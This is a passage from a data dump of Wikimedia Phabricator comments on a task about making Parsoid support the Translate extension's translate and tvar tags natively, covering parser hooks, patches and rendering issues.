+Support for the Translate extension in VE is still needed, but a separate task.",,,1451432369,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,130,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+585107,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 261293 merged by jenkins-bot:
+T50891: Register <translate> and <tvar> natively
+
+[[https://gerrit.wikimedia.org/r/261293]]",,,1451423865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,130,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+584806,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 261293 had a related patch set uploaded (by Arlolra):
+T50891: Register <translate> and <tvar> natively
+
+[[https://gerrit.wikimedia.org/r/261293]]
+",,,1451345650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,130,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+570976,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,">>! In T50891#1840365, @kaldari wrote:
+> Any update on this?
+
+A generic extension registration mechanism in Parsoid is one of our (parsing team) goals for this quarter and once that is done, we should be able to work on specific extensions. As noted in T50891#1002436, I think we can implement a parsoid-native version of this which adds annotations to the DOM that marks trees that need to be translated. VE and other tools can then use this to provide translation support by querying the API to manage translations.
+
+I think we can get the extension part done within the next month or so, but the tools to build on top of that is something for VE and language team to work on.",,,1449004296,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,126,,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+570478,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Any update on this?,,,1448940120,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,126,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+404559,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Since <translate> is a special extension that hooks into the parser pipeline in a way that is not visible to Parsoid, and also since it doesn't render anything new, but marks DOM fragments for translation, the ideal way to deal with this in the short term (till translation goes with a VE based approach) is to implement a native version of translate in Parsoid (just like Cite and planned Gallery extension).
+
+This native translate will be relatively straightforward and will not do anything special beyond recognizing the <translate> and associated tags and marking up DOM fragments with a special typeof that clients like VE or gadgets or anyone could use to enable translation. In addition, it would also have to register a html2wt handler for serializing it back to wikitext.
+
+This should not be a lot of work -- most of it will be in figuring out if there are any tricky things that the translate extension does. Talking to Niklas, we figured this is not high priority, but something worth tackling over the next 6 months.",,,1422567418,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,82,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+404106,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,I had a chat with Subbu about this. In the short tem (this year) we could add configurable support for <translate> tags in parsoid. That support will preserve the tags and comments when pages are edited with VE. In the long term we will implement support for translatable pages without any kind of markup. Marking those pages for translation would only work with VE and it needs special page translation module in VE.,,,1422482506,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,82,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+402925,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Kabhi2104 asked on #mediawiki-i18n:
+> Nemo_bis:  i had one doubt, what does normal parser tags mean ?
+
+Explained briefly from a non-technical perspective, this means that <translate> is a ""tag"" for the Translate extension, but the parser ""doesn't know"" it. A symptom is the absence from [[https://www.mediawiki.org/wiki/Special:Version|the list on Special:Version]].
+
+Concretely, the parser deals with tags in ways that interfere with the Translate syntax, with some consequences identified in T50891#524894. But even in the current situation there are some limitations, especially for the newline, which [[https://meta.wikimedia.org/wiki/Help_talk:List#List-agnostic_markup_insertions|is meaningful for the parser and perhaps shouldn't be required]].
+
+More broadly, one could speculate that most wikitext markup is meant to add or modify the HTML of the resulting page, or properties of the page in the database: while translate tags don't do either and are properties of the wikitext itself.",,,1422112321,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,81,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+226198,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"To be clear: there is nothing wrong with that patch itself, it just doesn't work due to limitations in the parser itself. I cannot continue with this patch/bug until I get help from other people to modify parser/parsoid.",,,1412577526,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,66,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+226191,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to Nemo from comment #43)
+> (In reply to James Forrester from comment #42)
+> > No patch any more. :-(
+> 
+> Hmm I'm not sure that's what ""Can be re-activated if there is outlook on
+> getting this in a mergable state"" means, PATCH_TO_REVIEW seems a sensible
+> way to tag such stale patches in need of TLC.
+
+No. There is no patch to review for merge. There is patch to re-*do*.",,,1399802210,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,44,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+226186,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to James Forrester from comment #42)
+> No patch any more. :-(
+
+Hmm I'm not sure that's what ""Can be re-activated if there is outlook on getting this in a mergable state"" means, PATCH_TO_REVIEW seems a sensible way to tag such stale patches in need of TLC.",,,1399802137,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,44,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+226182,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,No patch any more. :-(,,,1399715908,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,44,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+226178,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 91583 abandoned by Siebrand:
+Add $wgTranslatePageTranslationUseParserHook
+
+Reason:
+Abandoned as there is no progress on this patch set. Can be re-activated if there is outlook on getting this in a mergable state.
+
+https://gerrit.wikimedia.org/r/91583",,,1397663477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,41,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+226174,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #39)
+> (In reply to comment #36)
+> > Issues I have found:
+> > 
+> > * [MAJOR] Disabling edit section links does not work for headings inside
+> > <translate> tags
+> 
+> You could try marking your output as HTML according to
+> https://www.mediawiki.org/wiki/Manual:
+> Tag_extensions#How_can_I_avoid_modification_of_my_extension.27s_HTML_output.
+> 3F
+
+This causes (lack of) whitespace issues and breaks all lists.
+
+> I'm not sure whether that suppresses section edit links too, but worth a try
+> IMO.
+
+It doesn't.
+
+> 
+> > * [NORMAL] Edit section links don't work. Not a regression, but would be nice
+> > fix. Above issue make this a bigger issue.
+> > * [BLOCKER] Table of contents does not include links
+> 
+> Can you check whether your headings are matched by the formatHeadings regexp?
+
+I'm assuming it processes the html I'm returning, which is:
+<h2><span class=""mw-headline"" id=""Culture"">Culture</span><mw:editsection page=""Pupu"" section=""1"">Culture</mw:editsection></h2>
+
+Not sure whether that matches or not.
+
+> 
+> Ideally we'd move both TOC and section edit links to JS / CSS. That is our
+> plan
+> for Parsoid output, but not going to happen over night.
+
+Any changes for interim solutions?",,,1382781712,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+226169,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #36)
+> Issues I have found:
+> 
+> * [MAJOR] Disabling edit section links does not work for headings inside
+> <translate> tags
+
+You could try marking your output as HTML according to https://www.mediawiki.org/wiki/Manual:Tag_extensions#How_can_I_avoid_modification_of_my_extension.27s_HTML_output.3F
+
+I'm not sure whether that suppresses section edit links too, but worth a try IMO.
+
+> * [NORMAL] Edit section links don't work. Not a regression, but would be nice
+> fix. Above issue make this a bigger issue.
+> * [BLOCKER] Table of contents does not include links
+
+Can you check whether your headings are matched by the formatHeadings regexp?
+
+Ideally we'd move both TOC and section edit links to JS / CSS. That is our plan for Parsoid output, but not going to happen over night.",,,1382742193,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,1
+226164,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Editing translatable pages via API seems to work now.,,,1382609272,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+226162,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Also, please test the patch if you can to see if you find any other changes in behavior.",,,1382609061,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+226159,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Issues I have found:
+
+* [MAJOR] Disabling edit section links does not work for headings inside <translate> tags
+* [NORMAL] Edit section links don't work. Not a regression, but would be nice fix. Above issue make this a bigger issue.
+* [BLOCKER] Table of contents does not include links
+* [MINOR] White space trimming behavior has changed. The original logic cannot be implemented with information provided for the parser hook. You can see the buildup at bottom of http://dev.translatewiki.net/wiki/Extension:Translate compare with http://www.mediawiki.org/wiki/Help:Extension:Translate . This is annoying and would be nice to fix, but the workaround is to edit page source. Documentation about whitespace before has to be update if this way is chosen.
+
+Please help me solve the remaining issues.",,,1382608843,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1
+226153,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 91583 had a related patch set uploaded by Nikerabbit:
+Add $wgTranslatePageTranslationUseParserHook
+
+https://gerrit.wikimedia.org/r/91583",,,1382608576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+226147,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Trying the parser hook solution now. I have code like:
+
+		$parser->setHook( 'translate', function ( $input, $params, $parser, $frame ) {
+			$re = '~<tvar\|([^>]+)>(.*?)</>~u';
+			$output = preg_replace( $re, '\2', $input );
+
+			$output = $parser->recursiveTagParse( $output, $frame );
+			$output = trim( $output );
+			return $output;
+		} );
+
+This seems to work okay on simple text, with the exception of section edit links.
+
+I'm still trying with more complex pages with templates as well extensions and our tutorial.",,,1382602468,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,1
+226141,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"**gmaruzz** wrote:
+
+bump",,,1382525422,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+226138,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Niklas: So, here is what I found:
+
+https://meta.wikimedia.org/w/api.php?action=parse&text=<translate>foo</translate> works and does not crash.
+
+https://meta.wikimedia.org/w/api.php?action=parse&text=<translate><!--T:1-->foo</translate> throws the exception.
+
+I am a bit baffled why the comment in the extension content should change what hook is called. I'll let you investigate from here. It might be worth using this opportunity to use a regular extension hook (rather than the ParserBeforeStrip hook), if that might work for you.",,,1382026260,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,15,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+226134,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Niklas: To me, it looks like an existing bug got exposed. Can you provide more details? Maybe full url of the API call? And/or, if you hop onto #mediawiki-parsoid, we could investigate.",,,1382022809,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,15,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0
+226125,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"I just found out that if edit is made via API, the ParserBeforeStrip hook I am using does not get called and the exception is shown. Does anybody have an idea why?",,,1381997259,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,15,,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+226117,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"To summarize:
+
+* We currently work around the missing tag hook API by calling the full action=parse pipeline for each extension tag. This is quite expensive as you can imagine.
+* This lets the translate hack work for now. At least it won't crash.
+* The translate extension will crash once we actually call the registered tag hook.
+
+So there is some time to fix this up, but we should not pretend that it is fixed right now.
+
+Can you provide more information on what stops you from using the actual tag hook?",,,1381334518,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,1,1,0
+226108,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Okay, we tested and all is good for now. You can ignore #c27 :-). 
+
+As I indicated in #c26, this is a problem for when we start updating Parsoid code to call extensions directly rather than go through the full parse pipeline (which was meant to be a temporary hack while we figured out how to call extensions directly).",,,1381334222,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+226101,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Actually, now that I wrote that, I might have misspoken about whether it will work now as well. Niklas is right. For <translate> and <tvar> tags found in top-level pages, since we never go through PHP parser at all, this may still not work. 
+
+Parsoid will recognize the hooks because of the registration. In turn, it will call the PHP parser to translate the extension content, which in turn may callback into the translate extension rather than the ParserBeforeStrip callback (which is what <translate> and <tvar> relies on), and that will bomb.
+
+One of us (Gabriel or me) will experiment with the updated code locally and update this bug.",,,1381332394,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
+226094,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"The patch will work with Parsoid right now, because Parsoid always goes through the PHP parser when dealing with extensions and tag hooks. But, there are plans for Parsoid to bypass the PHP parser and call the extensions/hooks directly.
+
+Right now, The translate code preprocesses the page by stripping the <translate> and <tvar> tags before the PHP parser actually parses the page source (by registering for ParserBeforeStrip hook). So, even though the tag hooks are registered (with a callback that bombs if called), the PHP parser never gets to calling them.
+
+If Parsoid is able to mimic the behavior (by calling all hooks, not just extension callback hooks), the existing code will continue to work. However, if Parsoid only supports tag extensions directly, then, the ParserBeforeStrip code won't be invoked by Parsoid at that time and this will be a problem at that point.
+
+So, this is not an issue *right now*, but could be at a later point depending on what functionality Parsoid will implement natively and what it will continue to defer to the PHP parser. 
+
+I think Gabriel was responding to that future concern and also hoping that we can use the opportunity of Parsoid's ongoing development to cleanup some of these interfaces and mechanisms. We could streamline extensions to go through narrow interfaces rather than continuing to use all sort of hooks into various points of the parsing timeline. Anything this is something we could discuss more.
+
+Hope this summarizes where we stand now.",,,1381331649,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+226087,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Misunderstanding or miscommunication about the actual requirements is not scope creep. The patch which was made does not add value. I changed the title to reflect the issue with my understanding of it.,,,1381311581,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+226079,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"This issue appears to suffer from scope creep. The requirements of the current summary have been met. See https://translatewiki.net/wiki/Special:Version?uselang=en: Section ""Parser extension tags"" now shows ""<translate> and <tvar>""",,,1381308196,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+226073,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"That patch won't work well with Parsoid, see the comment in the patch set.",,,1381173268,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226068,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,I don't deserve the credit for Niklas's fix. :-),,,1381161087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+226063,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 83427 merged by jenkins-bot:
+Register translate and tvar to the parser
+
+https://gerrit.wikimedia.org/r/83427",,,1380976648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+226059,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #19)
+> I think I already did it yesterday.
+
